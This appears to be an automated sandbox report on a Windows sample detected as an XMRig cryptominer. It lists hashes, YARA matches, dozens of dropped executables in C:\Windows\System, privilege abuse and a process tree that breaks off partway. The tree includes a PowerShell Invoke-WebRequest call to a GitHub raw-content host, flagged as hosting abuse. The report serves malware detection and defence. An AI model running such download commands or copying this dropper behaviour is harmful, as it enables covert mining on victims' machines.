xmrig | 2f02adc06069f125c97e81ec7b8be2dae8695a7ecf13e4f0c06b7500ab55f68e

Analysis

max time kernel
79s
max time network
102s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11/06/2024, 00:33

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
Size

1.8MB
MD5

20ff61687b9746a3d6e0b8051a2d5b70
SHA1

6275aa2ba0da8826ffe4fe9275ab825ea5996f69
SHA256

2f02adc06069f125c97e81ec7b8be2dae8695a7ecf13e4f0c06b7500ab55f68e
SHA512

e8c6c012de8f7029128001d22ec621833cc541f4061d50dd759831ff0938aeb0b85af60d1a84aae004812ad701d47931e3694f447f94bbefd4d7960073869813
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkyW1HU/ek5Q1szp5NnNvZWNChZ7fI+Dx8Uy7/lfDTK:Lz071uv4BPMkyW10/w16BvZXDx/0SAU

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 48 IoCs

miner

resource	yara_rule
behavioral2/memory/1312-68-0x00007FF7A5EB0000-0x00007FF7A62A2000-memory.dmp	xmrig
behavioral2/memory/1204-72-0x00007FF6013E0000-0x00007FF6017D2000-memory.dmp	xmrig
behavioral2/memory/3104-87-0x00007FF67B880000-0x00007FF67BC72000-memory.dmp	xmrig
behavioral2/memory/3752-91-0x00007FF7ED810000-0x00007FF7EDC02000-memory.dmp	xmrig
behavioral2/memory/640-153-0x00007FF66C350000-0x00007FF66C742000-memory.dmp	xmrig
behavioral2/memory/4812-172-0x00007FF7B1DC0000-0x00007FF7B21B2000-memory.dmp	xmrig
behavioral2/memory/3804-166-0x00007FF69E370000-0x00007FF69E762000-memory.dmp	xmrig
behavioral2/memory/636-160-0x00007FF77FD00000-0x00007FF7800F2000-memory.dmp	xmrig
behavioral2/memory/4180-159-0x00007FF6E5E60000-0x00007FF6E6252000-memory.dmp	xmrig
behavioral2/memory/4652-147-0x00007FF7FB7D0000-0x00007FF7FBBC2000-memory.dmp	xmrig
behavioral2/memory/3524-141-0x00007FF785410000-0x00007FF785802000-memory.dmp	xmrig
behavioral2/memory/3244-137-0x00007FF77F610000-0x00007FF77FA02000-memory.dmp	xmrig
behavioral2/memory/2172-133-0x00007FF66D580000-0x00007FF66D972000-memory.dmp	xmrig
behavioral2/memory/1640-132-0x00007FF65DB70000-0x00007FF65DF62000-memory.dmp	xmrig
behavioral2/memory/4560-115-0x00007FF6937B0000-0x00007FF693BA2000-memory.dmp	xmrig
behavioral2/memory/840-105-0x00007FF79A020000-0x00007FF79A412000-memory.dmp	xmrig
behavioral2/memory/2940-86-0x00007FF662F50000-0x00007FF663342000-memory.dmp	xmrig
behavioral2/memory/4888-71-0x00007FF60B350000-0x00007FF60B742000-memory.dmp	xmrig
behavioral2/memory/1804-67-0x00007FF768F20000-0x00007FF769312000-memory.dmp	xmrig
behavioral2/memory/3464-60-0x00007FF78B1D0000-0x00007FF78B5C2000-memory.dmp	xmrig
behavioral2/memory/3408-2441-0x00007FF73EF40000-0x00007FF73F332000-memory.dmp	xmrig
behavioral2/memory/4772-2474-0x00007FF6B19C0000-0x00007FF6B1DB2000-memory.dmp	xmrig
behavioral2/memory/4692-2475-0x00007FF66DDB0000-0x00007FF66E1A2000-memory.dmp	xmrig
behavioral2/memory/4232-2476-0x00007FF74EB70000-0x00007FF74EF62000-memory.dmp	xmrig
behavioral2/memory/3408-2478-0x00007FF73EF40000-0x00007FF73F332000-memory.dmp	xmrig
behavioral2/memory/3464-2482-0x00007FF78B1D0000-0x00007FF78B5C2000-memory.dmp	xmrig
behavioral2/memory/2940-2480-0x00007FF662F50000-0x00007FF663342000-memory.dmp	xmrig
behavioral2/memory/1804-2490-0x00007FF768F20000-0x00007FF769312000-memory.dmp	xmrig
behavioral2/memory/3752-2492-0x00007FF7ED810000-0x00007FF7EDC02000-memory.dmp	xmrig
behavioral2/memory/4888-2488-0x00007FF60B350000-0x00007FF60B742000-memory.dmp	xmrig
behavioral2/memory/1204-2487-0x00007FF6013E0000-0x00007FF6017D2000-memory.dmp	xmrig
behavioral2/memory/1312-2484-0x00007FF7A5EB0000-0x00007FF7A62A2000-memory.dmp	xmrig
behavioral2/memory/3104-2494-0x00007FF67B880000-0x00007FF67BC72000-memory.dmp	xmrig
behavioral2/memory/3524-2505-0x00007FF785410000-0x00007FF785802000-memory.dmp	xmrig
behavioral2/memory/4772-2497-0x00007FF6B19C0000-0x00007FF6B1DB2000-memory.dmp	xmrig
behavioral2/memory/4560-2511-0x00007FF6937B0000-0x00007FF693BA2000-memory.dmp	xmrig
behavioral2/memory/2172-2516-0x00007FF66D580000-0x00007FF66D972000-memory.dmp	xmrig
behavioral2/memory/840-2514-0x00007FF79A020000-0x00007FF79A412000-memory.dmp	xmrig
behavioral2/memory/4232-2513-0x00007FF74EB70000-0x00007FF74EF62000-memory.dmp	xmrig
behavioral2/memory/1640-2509-0x00007FF65DB70000-0x00007FF65DF62000-memory.dmp	xmrig
behavioral2/memory/3244-2506-0x00007FF77F610000-0x00007FF77FA02000-memory.dmp	xmrig
behavioral2/memory/4652-2502-0x00007FF7FB7D0000-0x00007FF7FBBC2000-memory.dmp	xmrig
behavioral2/memory/640-2501-0x00007FF66C350000-0x00007FF66C742000-memory.dmp	xmrig
behavioral2/memory/4692-2498-0x00007FF66DDB0000-0x00007FF66E1A2000-memory.dmp	xmrig
behavioral2/memory/636-2538-0x00007FF77FD00000-0x00007FF7800F2000-memory.dmp	xmrig
behavioral2/memory/4180-2534-0x00007FF6E5E60000-0x00007FF6E6252000-memory.dmp	xmrig
behavioral2/memory/4812-2531-0x00007FF7B1DC0000-0x00007FF7B21B2000-memory.dmp	xmrig
behavioral2/memory/3804-2549-0x00007FF69E370000-0x00007FF69E762000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4972	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3408	RAtAPga.exe
2940	bxGYzwx.exe
3464	Shqwvxb.exe
1804	pvnwDoO.exe
1312	yYUolgA.exe
4888	juQeuHh.exe
3104	oelYdAL.exe
1204	DUaPbEe.exe
3752	izRUOTA.exe
840	TrDwiqH.exe
4772	KAVmEcn.exe
3244	NNNEbFl.exe
4560	lzHnYmo.exe
3524	rugCydD.exe
4652	IZfhIAl.exe
640	nIxncYu.exe
4692	sQdzzTs.exe
4232	ibfdTGn.exe
1640	vgKhfqn.exe
2172	VDPFjtb.exe
4180	UBwxFzc.exe
636	tjKnFAs.exe
3804	SiPMPei.exe
4812	AxsrzOw.exe
2056	SsuTYuB.exe
2560	gqShZrM.exe
1624	rSgINhU.exe
3968	oLSUFqy.exe
2632	dxebWkj.exe
3304	WPWQEFk.exe
4684	UNaaKer.exe
3440	XBgqMkl.exe
1788	UjzkVUJ.exe
3504	vflRLhm.exe
1820	ptChSUi.exe
2384	wYcXMJO.exe
1892	JfQvZuP.exe
216	rkRwVGT.exe
3428	AnZBbhU.exe
2428	naXlQSS.exe
3120	lUhwLyy.exe
3904	xgLOIQJ.exe
324	vPeWsKP.exe
4488	GfVEYyk.exe
4688	XZiIrwo.exe
1508	NrSrRpy.exe
4948	azcwyJG.exe
1816	hwFSlcj.exe
2380	ebtkrZu.exe
5024	bnFGGuL.exe
5096	xfjbTpS.exe
3228	VhMtStS.exe
3496	jqkHTQX.exe
1052	dOWBqdJ.exe
3788	wsUSgtc.exe
4804	qJIAJnr.exe
4112	JdEDsNL.exe
4824	NuTEJQJ.exe
3468	eGuwAzX.exe
2192	tghzhAo.exe
3908	UZDZNhj.exe
680	rxUKocE.exe
4728	yUxCmEb.exe
4172	VqYYufz.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1948-0-0x00007FF73DF10000-0x00007FF73E302000-memory.dmp	upx
behavioral2/files/0x00090000000233ea-6.dat	upx
behavioral2/files/0x00070000000233f3-13.dat	upx
behavioral2/files/0x00070000000233f4-20.dat	upx
behavioral2/files/0x00070000000233f6-25.dat	upx
behavioral2/files/0x00070000000233f5-21.dat	upx
behavioral2/files/0x00070000000233f7-41.dat	upx
behavioral2/files/0x00080000000233fa-50.dat	upx
behavioral2/files/0x00070000000233fb-57.dat	upx
behavioral2/memory/1312-68-0x00007FF7A5EB0000-0x00007FF7A62A2000-memory.dmp	upx
behavioral2/memory/1204-72-0x00007FF6013E0000-0x00007FF6017D2000-memory.dmp	upx
behavioral2/memory/4772-81-0x00007FF6B19C0000-0x00007FF6B1DB2000-memory.dmp	upx
behavioral2/memory/3104-87-0x00007FF67B880000-0x00007FF67BC72000-memory.dmp	upx
behavioral2/memory/3752-91-0x00007FF7ED810000-0x00007FF7EDC02000-memory.dmp	upx
behavioral2/files/0x00070000000233ff-108.dat	upx
behavioral2/memory/4232-129-0x00007FF74EB70000-0x00007FF74EF62000-memory.dmp	upx
behavioral2/files/0x0007000000023406-142.dat	upx
behavioral2/memory/640-153-0x00007FF66C350000-0x00007FF66C742000-memory.dmp	upx
behavioral2/files/0x0007000000023408-161.dat	upx
behavioral2/memory/4812-172-0x00007FF7B1DC0000-0x00007FF7B21B2000-memory.dmp	upx
behavioral2/files/0x0007000000023411-200.dat	upx
behavioral2/files/0x000700000002340f-198.dat	upx
behavioral2/files/0x0007000000023410-195.dat	upx
behavioral2/files/0x000700000002340e-193.dat	upx
behavioral2/files/0x000700000002340d-188.dat	upx
behavioral2/files/0x000700000002340c-183.dat	upx
behavioral2/files/0x000700000002340b-178.dat	upx
behavioral2/files/0x000700000002340a-173.dat	upx
behavioral2/files/0x0007000000023409-167.dat	upx
behavioral2/memory/3804-166-0x00007FF69E370000-0x00007FF69E762000-memory.dmp	upx
behavioral2/memory/636-160-0x00007FF77FD00000-0x00007FF7800F2000-memory.dmp	upx
behavioral2/memory/4180-159-0x00007FF6E5E60000-0x00007FF6E6252000-memory.dmp	upx
behavioral2/files/0x0007000000023407-154.dat	upx
behavioral2/files/0x000a0000000233eb-148.dat	upx
behavioral2/memory/4652-147-0x00007FF7FB7D0000-0x00007FF7FBBC2000-memory.dmp	upx
behavioral2/memory/3524-141-0x00007FF785410000-0x00007FF785802000-memory.dmp	upx
behavioral2/memory/3244-137-0x00007FF77F610000-0x00007FF77FA02000-memory.dmp	upx
behavioral2/memory/2172-133-0x00007FF66D580000-0x00007FF66D972000-memory.dmp	upx
behavioral2/memory/1640-132-0x00007FF65DB70000-0x00007FF65DF62000-memory.dmp	upx
behavioral2/files/0x0007000000023405-126.dat	upx
behavioral2/files/0x0007000000023404-124.dat	upx
behavioral2/files/0x0007000000023403-123.dat	upx
behavioral2/files/0x0007000000023402-121.dat	upx
behavioral2/files/0x0007000000023401-119.dat	upx
behavioral2/files/0x0007000000023400-116.dat	upx
behavioral2/memory/4560-115-0x00007FF6937B0000-0x00007FF693BA2000-memory.dmp	upx
behavioral2/memory/4692-118-0x00007FF66DDB0000-0x00007FF66E1A2000-memory.dmp	upx
behavioral2/memory/840-105-0x00007FF79A020000-0x00007FF79A412000-memory.dmp	upx
behavioral2/files/0x00070000000233fe-93.dat	upx
behavioral2/files/0x00070000000233fd-92.dat	upx
behavioral2/memory/2940-86-0x00007FF662F50000-0x00007FF663342000-memory.dmp	upx
behavioral2/files/0x00070000000233fc-76.dat	upx
behavioral2/files/0x00080000000233f9-73.dat	upx
behavioral2/memory/4888-71-0x00007FF60B350000-0x00007FF60B742000-memory.dmp	upx
behavioral2/memory/1804-67-0x00007FF768F20000-0x00007FF769312000-memory.dmp	upx
behavioral2/files/0x00070000000233f8-63.dat	upx
behavioral2/memory/3464-60-0x00007FF78B1D0000-0x00007FF78B5C2000-memory.dmp	upx
behavioral2/memory/3408-10-0x00007FF73EF40000-0x00007FF73F332000-memory.dmp	upx
behavioral2/memory/3408-2441-0x00007FF73EF40000-0x00007FF73F332000-memory.dmp	upx
behavioral2/memory/4772-2474-0x00007FF6B19C0000-0x00007FF6B1DB2000-memory.dmp	upx
behavioral2/memory/4692-2475-0x00007FF66DDB0000-0x00007FF66E1A2000-memory.dmp	upx
behavioral2/memory/4232-2476-0x00007FF74EB70000-0x00007FF74EF62000-memory.dmp	upx
behavioral2/memory/3408-2478-0x00007FF73EF40000-0x00007FF73F332000-memory.dmp	upx
behavioral2/memory/3464-2482-0x00007FF78B1D0000-0x00007FF78B5C2000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 1 IoCs

Web Service

T1102

flow	ioc
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\EwIxifd.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\qIxNLdh.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\pdEfNKr.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\cswWESM.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\xqzJEBE.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\WwLOZJg.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\efaCtJj.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\qHwFGBQ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\gqShZrM.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\GdGlpOi.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\EPBwDLs.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\SZMgPLT.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\HppEhcU.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\BJvIwmh.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\PDIdzaB.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\HealrXR.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\OJsFvmH.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\TuJiRFk.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\XBgqMkl.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\FJXZTLw.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\bvQCRil.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\cblgPhi.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\qLnqvhU.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\AnZBbhU.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\kIoSbqP.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\jSzmGHT.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\PJZdfJQ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\ZgslCqx.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\tQnkYaO.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\SXEvsmB.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\SKEuNAz.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\DzECreP.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\NuTEJQJ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\EQIOpOb.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\HJiDdwI.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\WWqrfsj.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\SuAGOiH.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\vbhaCvw.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\GweOPjn.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\PbsWsBo.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\VgHzAJk.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\RgXpzjA.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\FxNcfOl.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\ERQTyAj.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\WOkmokB.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\CGWpQvI.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\JSgeaKP.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\JdoWIXt.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\YrXDyBd.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\azcwyJG.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\GZccemS.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\MjWCNYI.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\GCZoOwC.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\BcLjMAZ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\UmvhMwY.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\lizyUUZ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\eJAYwBn.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\fEJPWcW.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\zyaRxgE.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\TcXZlQi.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\RBHozIU.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\EcfTmxQ.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\MJvPGww.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
File created	C:\Windows\System\TEWatGp.exe	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
4972	powershell.exe
4972	powershell.exe
4972	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
Token: SeDebugPrivilege	4972	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1948 wrote to memory of 4972	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	83
PID 1948 wrote to memory of 4972	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	83
PID 1948 wrote to memory of 3408	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	84
PID 1948 wrote to memory of 3408	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	84
PID 1948 wrote to memory of 2940	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	85
PID 1948 wrote to memory of 2940	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	85
PID 1948 wrote to memory of 3464	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	86
PID 1948 wrote to memory of 3464	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	86
PID 1948 wrote to memory of 1804	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	87
PID 1948 wrote to memory of 1804	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	87
PID 1948 wrote to memory of 1312	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	88
PID 1948 wrote to memory of 1312	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	88
PID 1948 wrote to memory of 4888	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	89
PID 1948 wrote to memory of 4888	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	89
PID 1948 wrote to memory of 3104	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	90
PID 1948 wrote to memory of 3104	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	90
PID 1948 wrote to memory of 1204	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	91
PID 1948 wrote to memory of 1204	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	91
PID 1948 wrote to memory of 3752	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	92
PID 1948 wrote to memory of 3752	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	92
PID 1948 wrote to memory of 4772	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	93
PID 1948 wrote to memory of 4772	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	93
PID 1948 wrote to memory of 840	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	94
PID 1948 wrote to memory of 840	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	94
PID 1948 wrote to memory of 3244	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	95
PID 1948 wrote to memory of 3244	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	95
PID 1948 wrote to memory of 4560	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	96
PID 1948 wrote to memory of 4560	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	96
PID 1948 wrote to memory of 3524	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	97
PID 1948 wrote to memory of 3524	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	97
PID 1948 wrote to memory of 4652	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	98
PID 1948 wrote to memory of 4652	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	98
PID 1948 wrote to memory of 640	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	99
PID 1948 wrote to memory of 640	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	99
PID 1948 wrote to memory of 4692	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	100
PID 1948 wrote to memory of 4692	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	100
PID 1948 wrote to memory of 4232	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	101
PID 1948 wrote to memory of 4232	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	101
PID 1948 wrote to memory of 1640	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	102
PID 1948 wrote to memory of 1640	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	102
PID 1948 wrote to memory of 2172	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	103
PID 1948 wrote to memory of 2172	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	103
PID 1948 wrote to memory of 4180	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	104
PID 1948 wrote to memory of 4180	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	104
PID 1948 wrote to memory of 636	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	105
PID 1948 wrote to memory of 636	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	105
PID 1948 wrote to memory of 3804	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	106
PID 1948 wrote to memory of 3804	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	106
PID 1948 wrote to memory of 4812	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	107
PID 1948 wrote to memory of 4812	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	107
PID 1948 wrote to memory of 2056	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	108
PID 1948 wrote to memory of 2056	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	108
PID 1948 wrote to memory of 2560	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	109
PID 1948 wrote to memory of 2560	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	109
PID 1948 wrote to memory of 1624	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	110
PID 1948 wrote to memory of 1624	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	110
PID 1948 wrote to memory of 3968	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	111
PID 1948 wrote to memory of 3968	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	111
PID 1948 wrote to memory of 2632	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	112
PID 1948 wrote to memory of 2632	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	112
PID 1948 wrote to memory of 3304	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	113
PID 1948 wrote to memory of 3304	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	113
PID 1948 wrote to memory of 4684	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	114
PID 1948 wrote to memory of 4684	1948	20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe	114

C:\Users\Admin\AppData\Local\Temp\20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\20ff61687b9746a3d6e0b8051a2d5b70_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4972
- C:\Windows\System\RAtAPga.exe
  C:\Windows\System\RAtAPga.exe
  2⤵
  - Executes dropped EXE
  PID:3408
- C:\Windows\System\bxGYzwx.exe
  C:\Windows\System\bxGYzwx.exe
  2⤵
  - Executes dropped EXE
  PID:2940
- C:\Windows\System\Shqwvxb.exe
  C:\Windows\System\Shqwvxb.exe
  2⤵
  - Executes dropped EXE
  PID:3464
- C:\Windows\System\pvnwDoO.exe
  C:\Windows\System\pvnwDoO.exe
  2⤵
  - Executes dropped EXE
  PID:1804
- C:\Windows\System\yYUolgA.exe
